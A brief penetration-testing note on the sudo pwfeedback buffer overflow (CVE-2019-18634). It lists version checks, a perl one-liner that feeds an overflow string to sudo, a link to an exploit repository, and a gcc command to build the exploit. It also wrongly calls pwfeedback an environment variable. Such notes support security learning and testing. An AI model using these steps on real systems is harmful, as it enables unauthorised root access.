# CVE-2019-18634 (pwfeedback)

```
sudo su root
su root 
```

If you see \* when typing in a password, that is the **pwfeedback** environment variable being enabled and indicates that machine may be vulnerable

```
sudo -V
```

Any Sudo version older than 1.8.26 is vulnerable

{% embed url="<https://github.com/saleemrashid/sudo-cve-2019-18634>" %}

```
perl -e 'print(("A" x 100 . "\x{00}" x 50)' | sudo -S i
```

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Compile exploit, upload and run

```
gcc -o bof exploit.c
```


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